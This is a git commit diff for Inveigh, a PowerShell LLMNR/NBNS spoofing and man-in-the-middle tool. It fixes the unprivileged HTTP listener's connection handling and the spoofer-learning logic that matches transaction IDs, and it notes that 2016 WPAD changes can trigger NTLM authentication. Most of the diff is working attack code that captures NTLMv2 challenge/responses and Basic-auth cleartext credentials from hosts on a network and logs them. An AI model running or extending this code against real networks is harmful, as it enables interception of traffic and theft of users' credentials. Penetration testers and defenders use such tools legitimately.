aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorKevin Robertson <robertsonk@gmail.com>2016-09-09 20:07:13 -0400
committerKevin Robertson <robertsonk@gmail.com>2016-09-09 20:07:13 -0400
commit407f24c44870d614494e206b12a870c92e3e0a95 (patch)
tree5697227632b774f42e144ac7088c333275554727
parentfbd2514aca26c6f2f986454e089afdec33170379 (diff)
downloadInveigh-407f24c44870d614494e206b12a870c92e3e0a95.tar.gz
Inveigh-407f24c44870d614494e206b12a870c92e3e0a95.zip
Web server and learning fixes
Fixed some issues with the Inveigh-Unprivileged web server. Modified the Inveigh learning code so that it can handle multiple requests received in quick succession.
-rw-r--r--README.md4
-rw-r--r--Scripts/Inveigh-Relay.ps12
-rw-r--r--Scripts/Inveigh-Unprivileged.ps150
-rw-r--r--Scripts/Inveigh.ps135
4 files changed, 60 insertions, 31 deletions
diff --git a/README.md b/README.md
index 04846c1..4ea179c 100644
--- a/README.md
+++ b/README.md
@@ -39,7 +39,7 @@ Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool design
* __NBNSTypes__ - Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name
* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.
* __HTTPS__ - Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the function does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store.
-* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests.
+* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016patches. A WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random hostnames and connecting to the root of the web server.
* __HTTPBasicRealm__ - Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.
* __HTTPDir__ - Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener.
* __HTTPDefaultFile__ - Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests.
@@ -114,7 +114,7 @@ Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool design
* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.
* __HTTPIP__ - Default = Any: Specify a TCP IP address for the HTTP listener.
* __HTTPPort__ - Default = 80: Specify a TCP port for the HTTP listener.
-* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests.
+* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016patches. A WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random hostnames and connecting to the root of the web server.
* __HTTPBasicRealm__ - Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. Use PowerShell character escapes where necessary.
* __HTTPResponse__ - Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests.
* __WPADAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts.
diff --git a/Scripts/Inveigh-Relay.ps1 b/Scripts/Inveigh-Relay.ps1
index 57497a2..e2745a6 100644
--- a/Scripts/Inveigh-Relay.ps1
+++ b/Scripts/Inveigh-Relay.ps1
@@ -460,7 +460,7 @@ if($inveigh.status_output)
$inveigh.status_queue.RemoveAt(0)
}
- "Run Stop-Inveigh to stop Inveigh"
+ "Run Stop-Inveigh to stop Inveigh-Relay"
{
Write-Warning($inveigh.status_queue[0])
$inveigh.status_queue.RemoveAt(0)
diff --git a/Scripts/Inveigh-Unprivileged.ps1 b/Scripts/Inveigh-Unprivileged.ps1
index 8796974..9cb2538 100644
--- a/Scripts/Inveigh-Unprivileged.ps1
+++ b/Scripts/Inveigh-Unprivileged.ps1
@@ -80,7 +80,9 @@ Default = 80: Specify a TCP port for the HTTP listener.
.PARAMETER HTTPAuth
Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not
-apply to wpad.dat requests.
+apply to wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016
+patches. A WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random
+hostnames and connecting to the root of the web server.
.PARAMETER HTTPBasicRealm
Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.
@@ -649,7 +651,7 @@ if($inveigh.status_output)
$inveigh.status_queue.RemoveAt(0)
}
- "Run Stop-Inveigh to stop running Inveigh functions"
+ "Run Stop-Inveigh to stop Inveigh-Unprivileged"
{
Write-Warning($inveigh.status_queue[0])
$inveigh.status_queue.RemoveAt(0)
@@ -806,16 +808,17 @@ $HTTP_scriptblock =
$HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"DIRECT`";}"
}
+ $HTTP_client_close = $true
+
:HTTP_listener_loop while ($inveigh.unprivileged_running)
{
-
- $TCP_request = $NULL
+ $TCP_request = ""
$TCP_request_bytes = New-Object System.Byte[] 1024
while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected)
{
- Start-Sleep -m 100
+ Start-Sleep -m 10
if(!$inveigh.unprivileged_running)
{
@@ -824,13 +827,16 @@ $HTTP_scriptblock =
}
- if(!$HTTP_client.Connected)
+ if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.unprivileged_running)
{
$HTTP_client = $HTTP_listener.AcceptTcpClient() # will block here until connection
- $HTTP_stream = $HTTP_client.GetStream()
+ $HTTP_stream = $HTTP_client.GetStream()
}
- while ($HTTP_stream.DataAvailable)
+ $HTTP_stream_timeout = New-TimeSpan -Seconds 2
+ $HTTP_stream_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
+
+ while($HTTP_stream.DataAvailable -and $HTTP_stream_stopwatch.Elapsed -lt $HTTP_stream_timeout)
{
$HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length)
}
@@ -893,6 +899,7 @@ $HTTP_scriptblock =
{
$HTTP_response_status_code = 0x34,0x30,0x31
$NTLM = NTLMChallengeBase64
+ $HTTP_client_close = $false
}
elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00')
{
@@ -954,9 +961,6 @@ $HTTP_scriptblock =
}
- $HTTP_response_status_code = 0x32,0x30,0x30
- $HTTP_client_close = $true
- $NTLM_challenge = ""
}
else # NTLMv2
{
@@ -967,7 +971,7 @@ $HTTP_scriptblock =
if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))))
{
$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $source_IP ($HTTP_NTLM_host_string)")])
- $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash)
+ $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash)
if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))
{
@@ -1007,6 +1011,7 @@ $HTTP_scriptblock =
else
{
$NTLM = "NTLM"
+ $HTTP_client_close = $false
}
}
@@ -1016,6 +1021,7 @@ $HTTP_scriptblock =
$HTTP_response_phrase = 0x4f,0x4b
$authentication_header = $authentication_header -replace 'Basic ',''
$cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header))
+ $HTTP_client_close = $true
$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $source_IP")])
$inveigh.cleartext_file_queue.Add($cleartext_credentials)
$inveigh.cleartext_list.Add($cleartext_credentials)
@@ -1027,6 +1033,18 @@ $HTTP_scriptblock =
}
}
+ else
+ {
+ if($HTTPAuth -ne 'Anonymous' -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -ne 'Anonymous'))
+ {
+ $HTTP_client_close = $false
+ }
+ else
+ {
+ $HTTP_client_close = $true
+ }
+
+ }
$HTTP_timestamp = Get-Date -format r
$HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp)
@@ -1080,7 +1098,6 @@ $HTTP_scriptblock =
$HTTP_message_bytes = 0x0d,0x0a
$HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length)
$HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message)
- $HTTP_client_close = $true
$HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 +
$HTTP_response_status_code +
@@ -1109,7 +1126,6 @@ $HTTP_scriptblock =
$HTTP_message_bytes = 0x0d,0x0a
$HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length)
$HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message)
- $HTTP_client_close = $true
$HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 +
$HTTP_response_status_code +
@@ -1149,7 +1165,11 @@ $HTTP_scriptblock =
}
- $HTTP_client_close = $false
+ }
+ else
+ {
+ $HTTP_client.Close()
+ $HTTP_client_close = $true
}
}
diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1
index 92092b2..0c1e638 100644
--- a/Scripts/Inveigh.ps1
+++ b/Scripts/Inveigh.ps1
@@ -79,7 +79,9 @@ in the cert store.
.PARAMETER HTTPAuth
Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not
-apply to wpad.dat requests.
+apply to wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016
+patches. A WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random
+hostnames and connecting to the root of the web server.
.PARAMETER HTTPBasicRealm
Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.
@@ -1481,7 +1483,7 @@ $sniffer_scriptblock =
17
{ # UDP
- $source_port = $binary_reader.ReadBytes(2)
+ $source_port = $binary_reader.ReadBytes(2)
$endpoint_source_port = DataToUInt16 ($source_port)
$destination_port = DataToUInt16 $binary_reader.ReadBytes(2)
$UDP_length = $binary_reader.ReadBytes(2)
@@ -1490,7 +1492,7 @@ $sniffer_scriptblock =
$payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4)
# Incoming packets
- switch ($destination_port)
+ switch($destination_port)
{
137 # NBNS
@@ -1611,8 +1613,9 @@ $sniffer_scriptblock =
if($NBNS_learning_send)
{
- $NBNS_transaction_ID_bytes = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
- $NBNS_transaction_ID_bytes = $NBNS_transaction_ID_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+ $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
+ $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+ $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-"
$NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137
$NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)]
@@ -1625,7 +1628,7 @@ $sniffer_scriptblock =
$NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint)
$NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length)
$NBNS_UDP_client.Close()
- $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_query_string")
+ $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_transaction_ID $NBNS_query_string")
$inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString)
$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString)])
}
@@ -1711,7 +1714,7 @@ $sniffer_scriptblock =
$inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")
$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")])
}
- elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and [System.BitConverter]::ToString($NBNS_transaction_ID_bytes) -eq [System.BitConverter]::ToString($payload_bytes[0..1]))
+ elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
{
[Byte[]]$NBNS_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)]
$NBNS_response_IP = [System.Net.IPAddress]$NBNS_response_IP_bytes
@@ -1792,8 +1795,9 @@ $sniffer_scriptblock =
if($LLMNR_learning_send)
{
- $LLMNR_transaction_ID_bytes = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
- $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+ $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
+ $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+ $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-"
$LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient
$LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)]
@@ -1808,7 +1812,7 @@ $sniffer_scriptblock =
$LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length)
$LLMNR_UDP_client_port = ($LLMNR_UDP_client.Client.LocalEndPoint).Port
$LLMNR_UDP_client.Close()
- $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_query_string")
+ $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string")
$inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252")
$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252")])
}
@@ -1884,10 +1888,15 @@ $sniffer_scriptblock =
}
}
- $LLMNR_UDP_client_port # LLMNR Random Port
- {
+ }
- if($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($LLMNR_transaction_ID_bytes) -eq [System.BitConverter]::ToString($payload_bytes[0..1]))
+ switch($endpoint_source_port)
+ {
+
+ 5355 # LLMNR Response
+ {
+
+ if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
{
$LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)])
$LLMNR_query = $LLMNR_query -replace "-00",""